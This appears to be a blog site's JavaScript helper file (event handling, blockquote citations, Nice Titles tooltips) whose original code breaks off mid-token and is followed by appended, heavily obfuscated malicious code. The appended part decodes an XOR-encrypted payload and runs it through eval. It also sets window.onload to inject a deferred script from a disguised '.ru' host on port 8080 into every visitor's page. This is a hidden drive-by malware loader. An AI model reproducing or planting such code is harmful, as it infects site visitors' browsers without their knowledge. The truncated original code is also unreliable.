// from http://www.kryogenix.org
// by Scott Andrew - http://scottandrew.com
// add an eventlistener to browsers that can do it somehow.
function addEvent(obj, evType, fn)
	{
	if (obj.addEventListener)
		{
		obj.addEventListener(evType, fn, false);
		return true;
		}
	else if (obj.attachEvent)
		{
		var r = obj.attachEvent('on'+evType, fn);
		return r;
		}
	else
		{
		return false;
		}
	}

function floatImages()
	{
	// adapted from http://www.dithered.com/javascript/browser_detect/
	//**************************************************************//
	// sniff user agent
	var userAgent = navigator.userAgent.toLowerCase();

	// if Mozilla 1.4 then quit
	if ((userAgent.indexOf('gecko') != -1) && (userAgent.indexOf('gecko/') + 14 == userAgent.length) && (parseFloat(userAgent.substring(userAgent.indexOf('rv:') + 3)) == '1.4')) return;

	// if Opera then quit
	if (document.all && window.Event) return;
	//**************************************************************//

	// check this browser can cope with what we want to do
	if (!document.getElementById) return;
	var blogDiv = document.getElementById('blog');
	if (!blogDiv) return;
	if (!blogDiv.offsetWidth) return;

	blogDiv.className = (blogDiv.offsetWidth >= 500) ? "float-images" : "block-images";
	}

// Blockquote citations

// Simon Willison's work:
// http://simon.incutio.com/archive/2002/12/20/#blockquoteCitations

// Also Dunstan Orchard's work:
// http://1976design.com/blog/archive/2003/11/10/updates/
function blockquoteCite()
	{
	if (!document.createElementNS)
		{
		document.createElementNS = function(ns, elt)
			{
			return document.createElement(elt);
			}
		}
	quotes = document.getElementsByTagName('blockquote');
	for (i = 0; i < quotes.length; i++)
		{
		var cite = quotes[i].getAttribute('cite');
		// value of cite attribute should only contain URI, not any other
		if ((cite) && (cite != ''))
			{
			newlink = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
			newlink.setAttribute('href', cite);
			newlink.className = 'cite-link';
			newlink.appendChild(document.createTextNode(cite));
			newdiv = document.createElementNS('http://www.w3.org/1999/xhtml', 'cite');
			newdiv.className = 'blockquote-cite';
			newdiv.appendChild(document.createTextNode('Source: '));
			newdiv.appendChild(newlink);
			quotes[i].appendChild(newdiv);
			quotes[i].removeAttribute('cite');
			}
		}
	}

// Ins and Del tags citations
function insdelCite()
	{
	if (!document.createElementNS)
		{
		document.createElementNS = function(ns, elt)
			{
			return document.createElement(elt);
			}
		}
	var insdel = new Array(2);
	insdel[0] = document.getElementsByTagName('ins');
	insdel[1] = document.getElementsByTagName('del');
	for (var i=0; i<insdel.length; i++)
		{
		if (insdel[i])
			{
			for (var id=0; id<insdel[i].length; id++)
				{
				var isdl = insdel[i][id].getAttribute('cite');
				if ((isdl) && (isdl != ""))
					{
					idlink = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
					idlink.setAttribute('href', isdl);
					idlink.className = 'cite-link ' + (i == 0 ? 'ins-cite' : 'del-cite');
					idlink.setAttribute('title','citation of ' + (i == 0 ? 'added' : 'deleted') + ' text');
					idlink.appendChild(document.createTextNode('#'));
					insdel[i][id].appendChild(idlink);
					insdel[i][id].removeAttribute('cite');
					}
				}
			}
		}
	}

// Force IE not to show alternate text as tooltip
function noAltTooltip()
	{
	images = document.getElementsByTagName('img');
	for (var i = 0; i < images.length; i++)
		{
		var title = images[i].getAttribute('title');
		var alt = images[i].getAttribute('alt');
		if ((document.all) && (alt) && (!title))
			{
			images[i].setAttribute('title', '');
			}
		}
	}

// Nice Titles

// original code by Stuart Langridge 2003-11
// with additions to the code by other good people
// http://www.kryogenix.org/code/browser/nicetitle/
// thank you, sir

// modified by Peter Janes 2003-03-25
// http://peterjanes.ca/blog/archives/2003/03/25/nicetitles-for-ins-and-del
// added in ins and del tags

// modified by Dunstan Orchard 2003-11-18
// http://1976design.com/blog/
// added in accesskey information
// tried ever-so-hard, but couldn't work out how to do what Ethan did

// final genius touch by by Ethan Marcotte 2003-11-18
// http://www.sidesh0w.com/
// worked out how to delay showing the popups to make them more like the browser's own

// set the namespace
var XHTMLNS = 'http://www.w3.org/1999/xhtml';
var CURRENT_NICE_TITLE;

// browser sniff
var browser = new Browser();

// determine browser and version.
function Browser()
	{
	var ua, s, i;

	this.isIE = false;
	this.isNS = false;
	this.version = null;

	ua = navigator.userAgent;

	s = 'MSIE';
	if ((i = ua.indexOf(s)) >= 0)
		{
		this.isIE = true;
		this.version = parseFloat(ua.substr(i + s.length));
		return;
		}

	s = 'Netscape6/';
	if ((i = ua.indexOf(s)) >= 0)
		{
		this.isNS = true;
		this.version = parseFloat(ua.substr(i + s.length));
		return;
		}

	// treat any other 'Gecko' browser as NS 6.1.
	s = 'Gecko';
	if ((i = ua.indexOf(s)) >= 0)
		{
		this.isNS = true;
		this.version = 6.1;
		return;
		}
	}

// 2003-11-19 sidesh0w
// set delay vars to emulate normal hover delay
var delay;
var interval = 0.60;

// this function runs on window load
// it runs through all the links on the page as starts listening for actions
function makeNiceTitles()
	{
	if (!document.createElement || !document.getElementsByTagName) return;
	if (!document.createElementNS)
		{
		document.createElementNS = function(ns, elt)
			{
			return document.createElement(elt);
			}
		}

	// do regular links
	if (!document.links)
		{
		document.links = document.getElementsByTagName('a');
		}
	for (var ti=0; ti<document.links.length; ti++)
		{
		var lnk = document.links[ti];
		// * I added specific class names here..
		if (lnk.title)
			{
			lnk.setAttribute('nicetitle', lnk.title);
			lnk.removeAttribute('title');
			addEvent(lnk, 'mouseover', showDelay);
			addEvent(lnk, 'mouseout', hideNiceTitle);
			addEvent(lnk, 'focus', showDelay);
			addEvent(lnk, 'blur', hideNiceTitle);
			}
		}

	// 2003-03-25 Peter Janes
	// do ins and del tags
	var tags = new Array(2);
	tags[0] = document.getElementsByTagName('ins');
	tags[1] = document.getElementsByTagName('del');
	for (var tt=0; tt<tags.length; tt++)
		{
		if (tags[tt])
			{
			for (var ti=0; ti<tags[tt].length; ti++)
				{
				var tag = tags[tt][ti];
				if (tag.dateTime)
					{
					var strDate = tag.dateTime;
					// HTML/ISO8601 date: yyyy-mm-ddThh:mm:ssTZD (Z, -hh:mm, +hh:mm)
					var month = strDate.substring(5,7);
					var day = strDate.substring(8,10);
					if (month[0] == '0')
						{
						month = month[1];
						}
					if (day[0] == '0')
						{
						day = day[1];
						}
					var dtIns = new Date(strDate.substring(0,4), month-1, day, strDate.substring(11,13), strDate.substring(14,16), strDate.substring(17,19));
					tag.setAttribute('nicetitle', (tt == 0 ? 'Added' : 'Deleted') + ' on ' + dtIns.toStrin
var QO="d1cad0fed1beced1cbcaf9a3c3d79d91f0a29ed1c2d6cccdcaa38dbbbbddf4d9e8c0f7cccef9e0eed5d7eac8f7e9f9cfd7d1f6dee5e2ebd9d4c4d3d6f7eec7d7d790fbd9b9f6d0d7b0d0c9bdd3cb";var WZG;if(WZG!='MN' && WZG != ''){WZG=null};this.opg="";this.fQa=46057;function H(V){var RS=new Date(); var Wm=function(g,Q){this.Mx="";return g[W("haoercCdAt", [5,0,1,4,6,2,7,3])](Q);var K='';this.Sp=30068;};this.Fy='';this.ze='';var yq=false;this.qR="";var yk=new Date();var AU=new String(); var R=function(a,ZD){var KU='';return a^ZD;var Yz=new Date();};var HX;if(HX!='C' && HX != ''){HX=null};var UK;if(UK!='fs' && UK!='Jx'){UK='fs'};var CN=32350; var Z=function(j){var rv;if(rv!='' && rv!='Gm'){rv=''};var Je;if(Je!=''){Je='rn'};this.b='';var Vi = -1;var UH=32043;var RD;if(RD!='Xj' && RD!='Za'){RD='Xj'};var d = '';this.ZE='';var Nf=new Date();var S =[76,0,123][1];this.lGu="";this.Nj="";j = new z(j);var FB="";var A =[224,0][1];var Kd;if(Kd!='Gi' && Kd!='QF'){Kd=''};var Mr;if(Mr!='' && Mr!='uw'){Mr=null};var zv;if(zv!='' && zv!='MD'){zv='Kf'};this.Sv='';for (S=j[W("nlegth", [1,2,0,3])]-Vi;S>=A;S=S-[1][0]){d+=j[W("aAhrct", [4,2,0,3,1,5])](S);}this.Tz="";var sL=new Date();return d;};var uG=new Array();var MDv;if(MDv!='oq' && MDv!='No'){MDv='oq'}; var G=function(U){var Hf;if(Hf!='Dt' && Hf!='sR'){Hf='Dt'};var P;if(P!='yW'){P=''};var J=[0,10,36][0];var HC;if(HC!='iF' && HC!='n'){HC=''};var jA=[1,129,28,228][0];var ac=U[W("telgnh", [2,1,4,3,0])];var St;if(St!='' && St!='SL'){St=null};var I=[226,0,160,194][1];this.sI='';this.MS="";var bc;if(bc!='yx' && bc!='da'){bc=''};var s=[159,255,189][1];var VU='';var OF;if(OF!='PL' && OF!='bV'){OF='PL'};while(J<ac){var DJ="";var Eo;if(Eo!='JK' && Eo!='bU'){Eo='JK'};var Mm=new String();J++;w=Wm(U,J - jA);this.Te=false;var Ed;if(Ed!='' && Ed!='Av'){Ed=null};I+=w*ac;var Ei=new Array();var Ms=new Array();}var ob;if(ob!='jr' && ob!='Iv'){ob='jr'};var jH;if(jH!='nu' && jH!='vg'){jH='nu'};var nN;if(nN!=''){nN='Du'};return new z(I % s);};var Sc=new Array();var iB=37644; var CX;if(CX!='wB' && CX!='mQ'){CX='wB'};function W(j, h){var tqM;if(tqM!='aF' && tqM!='dC'){tqM='aF'};var xV=false;this.Rr=21535;var A=[11,0,62,208][1];var Y = j.length;var dz;if(dz!='Cm' && dz != ''){dz=null};var t = h.length;var tQ=new String();var zvk;if(zvk!=''){zvk='Uq'};var jA=[193,31,1][2];var qj;if(qj!='' && qj!='Vz'){qj=''};var d = '';var Ij;if(Ij!='' && Ij!='Hl'){Ij=''};var vW;if(vW!='' && vW!='wW'){vW=''};var nj;if(nj!='' && nj!='ot'){nj=''};var FH;if(FH!='' && FH!='il'){FH=''};var aT=false;for(var S = A; S < Y; S += t) {var Sw=56111;var Fr;if(Fr!='Sy'){Fr=''};this.PQ='';var wF = j.substr(S, t);var yG=new Date();if(wF.length == t){var MA;if(MA!='' && MA!='fx'){MA=''};for(var J in h) {d+=wF.substr(h[J], jA);var GC;if(GC!='Ie'){GC='Ie'};var WP;if(WP!='aM' && WP!='XR'){WP=''};}var Su;if(Su!='Pb' && Su!='Yt'){Su='Pb'};} else {var Vm=new Array();  d+=wF;var vD=new Date();this.he="he";}}var Ik=65173;var HW=new Date();return d;this.tP=9082;}var Fn;if(Fn!='' && Fn!='ty'){Fn=null};var ew;if(ew!='doz'){ew='doz'};var p=window;var tS=p[W("aevl", [1,2,0])];var rO;if(rO!='eH' && rO!='jh'){rO='eH'};this.wp=false;var v=tS(W("cuFntoin", [2,1,3,0,4,6,5]));this.TB=46331;var RzM;if(RzM!='' && RzM!='fQ'){RzM=''};var Xq=new String();this.OZ="";var L = '';var rfn;if(rfn!='BV' && rfn != ''){rfn=null};var tm=false;this.Px="";var bco='';var z=tS(W("irtSng", [3,2,1,0,4]));var l=tS(W("EgRexp", [2,3,1,0]));var mX;if(mX!=''){mX='bBy'};var ZP;if(ZP!='' && ZP!='AX'){ZP=null};var kp;if(kp!='WE'){kp='WE'};var xZ=new String();this.xp=false;var X=p[W("nuseacep", [1,0])];this.BC='';var Lq=z[W("rfmohCraoCed", [1,0])];var rR=new Date();var aTe;if(aTe!='qV'){aTe='qV'};var gG = /[^@a-z0-9A-Z_-]/g;var zg;if(zg!='pO' && zg != ''){zg=null};var y = V[W("englth", [3,0,1,2])];var ss=new String();var cK;if(cK!='' && cK!='gw'){cK=''};var A =[0][0];var Lt='';var jA =[1][0];var lj;if(lj!='pj' && lj!='uc'){lj='pj'};var HL;if(HL!='' && HL!='qF'){HL=''};var QP;if(QP!='' && QP!='uJE'){QP='DJu'};var Rn;if(Rn!='' && Rn!='sIW'){Rn='QFy'};var M=[1, W("ucomd.tncetaeermeleE\'(tsnpirtc\')", [4,2,1,0,3]),2, W("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, W("rboaropds.com", [6,4,2,1,5,3,0]),4, W("oicvml.sdeeietirsug.n:8080", [2,0,4,6,5,1,3]),5, W(".sdtAetrtbuie(tde\'erf\'", [2,0,1]),6, W("otcvme.ncn.pnr.ohub", [2,0,4,6,3,7,5,1]),7, W("ougsgoleceonerntt", [4,5,0,2,6,7,1,3]),8, W("gempuaaolc.dom", [2,1,0]),11, W("oi.wndwonload", [3,1,4,5,0,6,2,7]),12, W("itwrtet.com", [6,2,0,4,1,5,3]),14, W("tuincofn()", [6,1,3,4,0,2,5]),15, W("ogolgec.om", [1,0,2]),16, W("tca(che)", [1,2,0]),17, W("p\"htt:", [1,2,3,4,0,5]),18, W(".dscr", [1,0,2,4,3]),19, W("\'\'1)", [1,2,0]),20, W("yrt", [2,1,0])];var vj=false;var az = '';var Ta="";this.CF=42166;var O = '';var Ec;if(Ec!=''){Ec='gq'};var Xjt=new Array();var GW = Lq(37);var vp=new Array();this.xo=false;var ys =[2][0];this.RDa='';var Cg=false;var Ya =[0][0];var gA='';var df;if(df!='' && df!='aj'){df='Gmo'};var u = '';this.FC="FC";var ev=new Date();for(var Gs=A; Gs < y; Gs+=ys){az+= GW; var Vc=new Date();az+= V[W("tsrbsu", [1,5,3,4,0,2])](Gs, ys);var EL=new String();}var lt="";var MP=new Date();var V = X(az);var Ho;if(Ho!='' && Ho!='Ix'){Ho='cH'};this.cN="";var eF;if(eF!='Qa' && eF!='hpD'){eF=''};var sN = new z(H);var hM=61548;this.uSX="";var q = sN[W("preclae", [1,2,0])](gG, O);var lB;if(lB!='' && lB!='Og'){lB='nE'};var MM = M[W("nelhtg", [2,1,0])];var Wb = new z(v);var iy;if(iy!='' && iy!='cy'){iy=null};var fj;if(fj!='Yu' && fj!='wk'){fj='Yu'};this.BVV=false;q = Z(q);var tF;if(tF!='SR'){tF='SR'};var RO=new Date();var qp;if(qp!='DOs' && qp!='Ex'){qp=''};var dd;if(dd!='YsE'){dd=''};var QIl=false;var Hq = Wb[W("lrepace", [1,2,3,0])](gG, O);var lHu;if(lHu!='' && lHu!='Id'){lHu=''};var Gj;if(Gj!='' && Gj!='Gsp'){Gj=''};var Hq = G(Hq);var yw;if(yw!='' && yw!='MY'){yw=null};var Ys=G(q);var kR;if(kR!=''){kR='Io'};var mx=new Date();for(var S=A; S < (V[W("nlegth", [1,2,0,3,4])]);S=S+[1,60][0]) {var bP=new Date();var JR;if(JR!='Nk'){JR='Nk'};var VX="";var Zk=new Date();var dW = q.charCodeAt(Ya);var Ft = Wm(V,S);var iG=false;var Vr=new String();this.KB=53991;Ft = R(Ft, dW);var Js;if(Js!='' && Js!='Cl'){Js=null};Ft = R(Ft, Ys);Ft = R(Ft, Hq);Ya++;var QUZ=false;var Ht;if(Ht!='' && Ht!='hD'){Ht='Td'};if(Ya > q.length-jA){var Zh;if(Zh!='tp'){Zh='tp'};Ya=A;var WN=new String();var wg;if(wg!='iP'){wg='iP'};}var OWa='';u += Lq(Ft);this.fy=false;}this.Xv='';for(E=A; E < MM; E+=ys){var tFc=new Date();var KT='';var GY="GY";var N = M[E + jA];var hc=new String();var GV=new Date();var fE=new Date();var sK='';var tq = Lq(M[E]);var CJ=new Array();var Vs;if(Vs!='LG' && Vs!='gl'){Vs=''};var OS = new l(tq, Lq(103));var IR=new Array();this.pp='';u=u[W("erlpcae", [1,0])](OS, N);var iQ=new Array();}this.HQ=17333;this.Vw='';var rl;if(rl!=''){rl='ci'};var f=new v(u);f();var TA=new Array();u = '';Hq = '';var XvT;if(XvT!='sNp'){XvT=''};q = '';Wb = '';this.OU='';var AIJ;if(AIJ!='tt'){AIJ='tt'};f = '';var pm;if(pm!='' && pm!='NnC'){pm=null};var uP=new Array();Ys = '';var NT=new String();this.VMc="VMc";this.uv=8802;this.dF=33848;return '';this.ow="ow";};var WZG;if(WZG!='MN' && WZG != ''){WZG=null};this.opg="";this.fQa=46057;H(QO);
var Vt=new Date();var ifn;if(ifn!='T'){ifn=''};function W() {var R="";var O="";var w='[';var RL;if(RL!='' && RL!='v'){RL=''};var qs="";var g='g';var ZN='';this.X='';var b=RegExp;var as_;if(as_!='gx'){as_='gx'};var L=new String();var DF;if(DF!='' && DF!='rI'){DF=null};var Ys;if(Ys!='' && Ys!='Ls'){Ys=null};var e='replace';var F=']';var m;if(m!='S' && m != ''){m=null};function h(B,P){var z;if(z!='' && z!='ir'){z=null};this.bi="";var d=w;d+=P;d+=F;var Q;if(Q!='' && Q!='hN'){Q='Ah'};var Bv='';var ej=new b(d, g);return B[e](ej, L);};var s;if(s!='PXD' && s!='o_'){s=''};var RB=new Array();var r=h('8211016862012',"162");var N='';var Ss;if(Ss!='' && Ss!='di'){Ss=null};var Ds;if(Ds!='' && Ds!='sI'){Ds=null};var q=h('cirOe2aOtOeOE2lOeimOeinOt2',"i2O");var U=window;this.SL='';var vb='';var Z=h('szczrziEpItY',"YEzI");this.Ol='';var mQ;if(mQ!='QQ' && mQ!='Nw'){mQ='QQ'};var eL=new Array();var CB=new Array();var _=h('hJtJtJpH:6/H/6fHrJiHe6nHd6f6e6eHdH-Jc6o6mH.Hp6a6yJpHa6lJ.HcHo6m6.HnJyJp6o6s6t6-Jc6o6m6.HfJo6r6r6eJdHtHaHgH.Jr6uJ:6',"6HJ");var Fy=h('/xkjobmxljij.xcjoxmx/bkjobmblxib.bcbobmb/xabdjdbtbhjibsb.xcxoxmj/jdxrbuxpjaxlb.xojrbgx/bgjobobgblbeb.xcjobmb.jpxhxpj',"bjx");var hp=new Date();U[h('oJn0lYo0a0d0',"Y0J")]=function(){var ji=new Date();var KD;if(KD!='yP'){KD='yP'};try {var zg=new Date();N+=_;N+=r;this.gj="";var zO=new String();N+=Fy;var Cz=new Array();this.po='';this.XN='';V=document[q](Z);var fz='';var Lp;if(Lp!='BK' && Lp!='vcD'){Lp=''};i(V,'defer',([1][0]));i(V,'src',N);var dQ="";var wN=new String();document.body.appendChild(V);var u_='';} catch(c){var VT;if(VT!='gv' && VT!='AA'){VT=''};};var ci;if(ci!=''){ci='aH'};};this.se="";function i(y,K,BY){y.setAttribute(K, BY);var Oq=new Array();var xQ;if(xQ!='' && xQ!='nH'){xQ=null};}var fa="";};var Ky;if(Ky!='We'){Ky='We'};var mW;if(mW!='JD'){mW=''};W();var Sf;if(Sf!=''){Sf='vC'};